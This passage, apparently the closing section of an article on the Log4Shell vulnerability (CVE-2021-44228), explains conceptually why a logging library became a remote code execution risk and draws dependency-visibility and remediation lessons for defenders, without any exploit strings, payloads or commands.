CVE-2021-44228 became one of the defining security vulnerabilities of the modern software supply chain because it exploited a component that developers rarely considered a source of remote code execution risk.
A logging framework is supposed to record what an application does. It should not give untrusted input the ability to initiate dangerous operations or influence executable behavior.
Log4Shell showed what happens when that boundary is not properly enforced.
Its impact was magnified by the widespread adoption of Log4j, the difficulty of identifying nested software dependencies, and the accessibility of potentially vulnerable logging paths in internet-facing applications.
The real-world attacks that followed demonstrated that successful exploitation could become the first stage of a much larger compromise involving malware deployment, credential theft, and movement through enterprise networks.
For defenders, the lasting lesson is not simply to remember one exploit string or one CVE identifier. It is to maintain visibility into application dependencies, understand where untrusted data enters sensitive components, and ensure that vulnerability remediation is verified in the software actually running in production.
CVE-2021-44228 remains a compelling example of how an ordinary software feature can become a critical attack surface when convenience, implicit interpretation, and insufficient trust boundaries intersect. Its original exploitation technique is well understood, but the engineering lessons it revealed remain relevant to modern Java applications and software infrastructure as a whole.
